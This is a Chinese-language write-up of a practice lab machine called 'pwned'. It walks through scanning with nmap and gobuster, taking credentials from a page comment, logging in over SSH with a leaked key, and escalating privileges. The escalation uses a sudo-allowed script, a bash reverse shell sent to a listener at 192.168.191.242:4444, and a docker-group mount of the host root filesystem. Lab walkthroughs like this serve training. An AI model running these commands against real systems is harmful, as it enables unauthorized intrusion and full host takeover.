由于先前已经写过一篇渗透的文章,这里在写的时候相对简略了些。
日常 sudo arp-scan -l 扫一下目标靶机的 ip,然后 nmap 扫一下,发现 80,21,22 开着,访问一下看看,没什么东西。拿 gobuster 扫一下,字典就用 kali 自带的字典,稍微大一点就行:
| gobuster dir -u "http://192.168.154.56" -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 60 |
| |
发现有个 noting 目录,进去看看真是 nothing,还有个 hidden_text,进去看下面有个 secret.dic,应该是个目录的字典。
继续拿 gobuster 扫。
| curl -s http://192.168.154.56/hidden_text/secret.dic -o secret.dic |
| gobuster dir -u "http://192.168.154.56" -x php,txt,html -w secret.dic -t 100 -o pwned |
扫出来一个 /pwned.vuln ,进去看是个登录页面。尝试注入一下,结果没有,看网页源代码
| <!--?php // if (isset($_POST['submit'])) { // $un=$_POST['username']; // $pw=$_POST['password']; // // if ($un=='ftpuser' && $pw=='B0ss_B!TcH') { // echo "welcome" // exit(); // } // else // echo "Invalid creds" // } ?--> |
有个 ftpuser 的用户密码是 B0ss_B!TcH,这个账号密码可以用来登录 frp 和 ssh
登录后在 share 目录下有一个 rsa 的私钥和一个 note,note 意思是那个叫 ariana 的用户是通过这个私钥登录的。给这个私钥 chomd 600 一下,然后登录到 ariana 用户。
| chmod 600 id_rsa |
| ssh ariana@192.168.154.56 -i id_rsa |
连接之后拿到 user 的 flag。
执行 sudo -l 得到:
| Matching Defaults entries for ariana on pwned: |
| env_reset, mail_badpass, |
| secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin |
| |
| User ariana may run the following commands on pwned: |
| (selena) NOPASSWD: /home/messenger.sh |
也就是说 ariana 可以调用 root 权限以 selena 执行命令。通过审计代码发现可以用这个脚本 “成为” selena 用户。
尝试执行 sudo -u selena /home/messenger.sh 测试一下
写进去了,测试成功。
那就可以直接拿 selena 的 shell 了
或者 $msg 的地方 直接写个反弹 shell:
| bash -i >&/dev/tcp/ 192.168.191.242 / 4444 0>&1 |
以 selena 的身份切换到会话,我们注意到她位于 docker 组中,该组可以通过将特权文件从主机文件系统挂载到容器文件系统来滥用该组来读取特权文件。
| uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker) |
将主机上的 / 挂载到容器中的 /mnt,并使 /mnt 成为文件系统的根。然后, 在容器上生成一个 bash 进程
先把可能的 /bin/sh 调成 /bin/bash
| python3 -c "import pty; pty.spawn('/bin/bash')" |
然后执行
| docker run -v /:/mnt --rm -it alpine chroot /mnt bash |
当然如果没调 /bin/bash 的话可以直接调用
| docker run -v /:/mnt --rm -it alpine chroot /mnt sh |
进行 docker 提权,效果一样。